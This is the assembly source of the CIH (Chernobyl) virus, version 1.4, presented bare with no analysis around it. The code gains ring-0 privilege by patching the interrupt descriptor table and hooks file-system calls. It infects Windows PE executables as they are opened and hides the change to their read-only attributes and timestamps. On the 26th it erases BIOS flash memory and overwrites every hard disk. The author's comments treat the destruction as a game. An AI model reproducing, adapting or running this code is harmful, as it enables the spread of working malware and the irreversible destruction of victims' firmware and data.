Original Sourcecode Of The Chernobyl Virus (CIH)

OriginalAppEXE SEGMENT

FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize

OriginalAppEXE ENDS

; ****************************************************************************
; * My Virus Game *
; ****************************************************************************

; *********************************************************
; * Constant Define *
; *********************************************************

TRUE = 1
FALSE = 0

DEBUG = TRUE

MajorVirusVersion = 1
MinorVirusVersion = 4

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion


IF DEBUG

FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h

ELSE

FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h

ENDIF


FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
push ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Again

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; *************************************
; * Return Original App to Execute *
; *************************************

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Return to Original App Entry Point

; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !? *
; *************************************

mov ecx, dr0
jecxz AllocateSystemMemoryPage

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program *
; *************************************

ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;

iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

mov dr0, ebx ; Set the Mark of My Virus Exist in System

push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h

xchg edi, eax ; EDI = SystemMemory Start Address

lea eax, MyVirusStart-@2[esi]

iretd ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook *
; *************************************

InstallMyFileSystemApiHook:

lea eax, FileSystemApiHook-@6[edi]

push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags

mov dr0, eax ; Save OldFileSystemApiHook Address

pop eax ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax

cli

jmp ExitRing0Init

; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************

CodeSizeOfMergeVirusCodeSection = offset $

; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************

InstallFileSystemApiHook:
push ebx

call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;

push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

push eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

mov dr0, eax ; Adjust OldFileSystemApiHook Address

pop eax

pop ebx

ret

; *********************************************************
; * Static Data *
; *********************************************************

OldInstallFileSystemApiHook dd ?

; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

FileSystemApiHook:
@3 = FileSystemApiHook

pushad

call @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAddress
add esi, VirusGameDataStartAddress-@5

; *************************************
; * Is OnBusy !? *
; *************************************

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc

; *************************************
; * Is OpenFile !? *
; *************************************

; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h]
cmp dword ptr [ebx], 00000024h
jne prevhook

; *************************************
; * Enable OnBusy *
; *************************************

inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy

; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************

; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6

push esi

mov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPath

add al, 40h
mov ah, ':'

mov [esi], eax

inc esi
inc esi

; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************

CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !? *
; *************************************

; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy

IF DEBUG

; *************************************
; * Only for Debug *
; *************************************

; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !? *
; *************************************

; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy

; *************************************
; * Get Attributes of the File *
; *************************************

mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h

jc DisableOnBusy

push ecx

; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; *************************************
; * Is Read-Only File !? *
; *************************************

test cl, 01h
jz OpenFile

; *************************************
; * Modify Read-Only File to Write *
; *************************************

mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File *
; *************************************

OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO

xchg ebx, eax ; mov ebx, FileHandle

; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************

pop ecx

pushf

test cl, 01h
jz IsOpenFileOK

; *************************************
; * Restore Attributes of the File *
; *************************************

mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Is Open File OK !? *
; *************************************

IsOpenFileOK:
popf

jc DisableOnBusy

; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************

push esi ; Push FileNameBuffer Address to Stack

pushf ; Now CF = 0, Push Flag to Stack

add esi, DataBuffer-@7 ; mov esi, offset DataBuffer

; ***************************
; * Get OffsetToNewHeader *
; ***************************

xor eax, eax
mov ah, 0d6h

; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax

push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO

mov edx, [esi]

; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************

dec edx

mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; * WinZip Self-Extractor *
; * doesn't Have Infected *
; * Mark Because My Virus *
; * doesn't Infect it. *
; ***************************

; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h
jne CloseFile

; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************

; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************

push ebx ; Save File Handle

push 00h ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************

push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer

; ***************************
; * Save ESP Register *
; ***************************

mov dr1, esp

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************

push eax ; Size

; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************

mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************

lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File

lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer

; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]

; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************

mov al, SizeOfScetionTable

; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections-@8)[esi]

mul cl

; ***************************
; * Let's Set Section Table *
; ***************************

; Move ESI to the Start of SectionTable
lea esi, (StartOfSectionTable-@8)[esi]

push eax ; Size
push edx ; Pointer of File
push esi ; Address of Buffer

; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus *
; * Code Section Table Must *
; * be Small or Equal the *
; * Unused Space Size of *
; * Following Section Table *
; ***************************

inc ecx
push ecx ; Save NumberOfSections+1

shl ecx, 03h
push ecx ; Save TotalSizeOfVirusCodeSectionTable

add ecx, eax
add ecx, edx

sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx

; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
push ecx

xchg ecx, eax ; ECX = Size of Section Table

; Save Original Address of Entry Point
mov eax, (AddressOfEntryPoint-@9)[esi]
add eax, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eax

cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark

; ***************************
; * Read All Section Tables *
; ***************************

mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Full Modify the Bug : *
; * WinZip Self-Extractor *
; * Occurs Error... *
; ***************************
; * So When User Opens *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the *
; * PointerToRawData in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'...... *
; ***************************

xchg eax, ebp

push 00000004h
pop ecx

push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
add edx, 12h

call edi ; VXDCall IFSMgr_Ring0_FileIO

; cmp [esi], 'nZip'
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark

pop edx

; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************

; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx
pop edi ; EDI = TotalSizeOfVirusCodeSectionTable
pop ecx ; ECX = NumberOfSections+1

push edi ; Size

add edx, ebp
push edx ; Pointer of File

add ebp, esi
push ebp ; Address of Buffer

; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************

lea eax, [ebp+edi-04h]
mov [eax], ebx

; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************

push ebx ; Size

add edx, edi
push edx ; Pointer of File

lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer

; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************

mov (NewAddressOfEntryPoint-@9)[esi], edx

; ***************************
; * Setup Initial Data *
; ***************************

lea edx, [esi-SizeOfScetionTable]
mov ebp, offset VirusSize

jmp StartToWriteCodeToSections

; ***************************
; * Write Code to Sections *
; ***************************

LoopOfWriteCodeToSections:

add edx, SizeOfScetionTable

mov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSections

push ebx ; Size

sub eax, 08h
mov [eax], ebx

mov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx ; Pointer of File

push edi ; Address of Buffer

mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebx

mov ebx, [eax]
add (VirtualSize-@9)[edx], ebx

; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040h

StartToWriteCodeToSections:

sub ebp, ebx
jbe SetVirusCodeSectionTableEndMark

add edi, ebx ; Move Address of Buffer

EndOfWriteCodeToSections:

loop LoopOfWriteCodeToSections

; ***************************
; * Only Set Infected Mark *
; ***************************

OnlySetInfectedMark:
mov esp, dr1

jmp WriteVirusCodeToFile

; ***************************
; * Not Set Infected Mark *
; ***************************

NotSetInfectedMark:
add esp, 3ch

jmp CloseFile

; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************

SetVirusCodeSectionTableEndMark:

; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp
add [esp+08h], ebp

; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx

; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; ***************************

lea eax, (LastVxDCallAddress-2-@9)[esi]

mov cl, VxDCallTableSize

LoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdh

mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edx

movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
sub eax, edx

loop LoopOfRestoreVxDCallID

; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************

WriteVirusCodeToFile:
mov eax, dr1
mov ebx, [eax+10h]
mov edi, [eax]

LoopOfWriteVirusCodeToFile:

pop ecx
jecxz SetFileModificationMark

mov esi, ecx
mov eax, 0d601h
pop edx
pop ecx

call edi ; VXDCall IFSMgr_Ring0_FileIO

jmp LoopOfWriteVirusCodeToFile

; ***************************
; * Let's Set CF = 1 ==> *
; * Need to Restore File *
; * Modification Time *
; ***************************

SetFileModificationMark:
pop ebx
pop eax

stc ; Enable CF(Carry Flag)
pushf

; *************************************
; * Close File *
; *************************************

CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************

popf
pop esi
jnc IsKillComputer

; *************************************
; * Restore File Modification Time *
; *************************************

mov ebx, edi

mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Disable OnBusy *
; *************************************

DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy

; *************************************
; * Call Previous FileSystemApiHook *
; *************************************

prevhook:
popad

mov eax, dr0 ;
jmp [eax] ; Jump to prevhook

; *************************************
; * Call the Function that the IFS *
; * Manager Would Normally Call to *
; * Implement this Particular I/O *
; * Request. *
; *************************************

pIFSFunc:
mov ebx, esp
push dword ptr [ebx+20h+04h+14h] ; Push pioreq
call [ebx+20h+04h] ; Call pIFSFunc
pop ecx ;

mov [ebx+1ch], eax ; Modify EAX Value in Stack

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; ***************************

cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax

; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************

QuitMyVirusFileSystemHook:

popad

ret

; *************************************
; * Kill Computer !? ... *^_^* *
; *************************************

IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h

xor al, 26h ; ??/26/????

IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM *
; ***************************

mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in *
; * 000E0000 - 000EFFFF *
; * ( 64 KB ) *
; ***********************

mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

; ***********************
; * Show BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************

mov di, 0058h
dec edx ; and al,0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; ***********************

lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; * ( 80h Bytes ) *
; ***********************

xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; ***********************

mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; * ( 80h Bytes ) *
; ***********************

mov ah, 0e0h
mov [eax], al

; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al,10h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi

; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach

LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand

cmp word ptr [esi+06h], 0017h
je KillNextDataSection

ChangeNextHardDisk:
inc byte ptr [esi+4dh]

jmp LoopOfKillHardDisk

KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write *
; ***************************

EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al

ret

; ***************************
; * IO for EEPROM *
; ***************************

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
out dx, al

ret

; *********************************************************
; * Static Data *
; *********************************************************

LastVxDCallAddress = IFSMgr_Ring0_FileIO
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize = ($-VxDCallIDTable)/04h

; *********************************************************
; * Virus Version Copyright *
; *********************************************************

VirusVersionCopyright db 'CIH v'
db MajorVirusVersion+'0'
db '.'
db MinorVirusVersion+'0'
db ' TATUNG'

; *********************************************************
; * Virus Size *
; *********************************************************

VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; * Dynamic Data *
; *********************************************************

VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd ?

FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBuffer

DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ?
TimeDateStamp dd ?
SymbolsPointer dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
_Characteristics dw ?
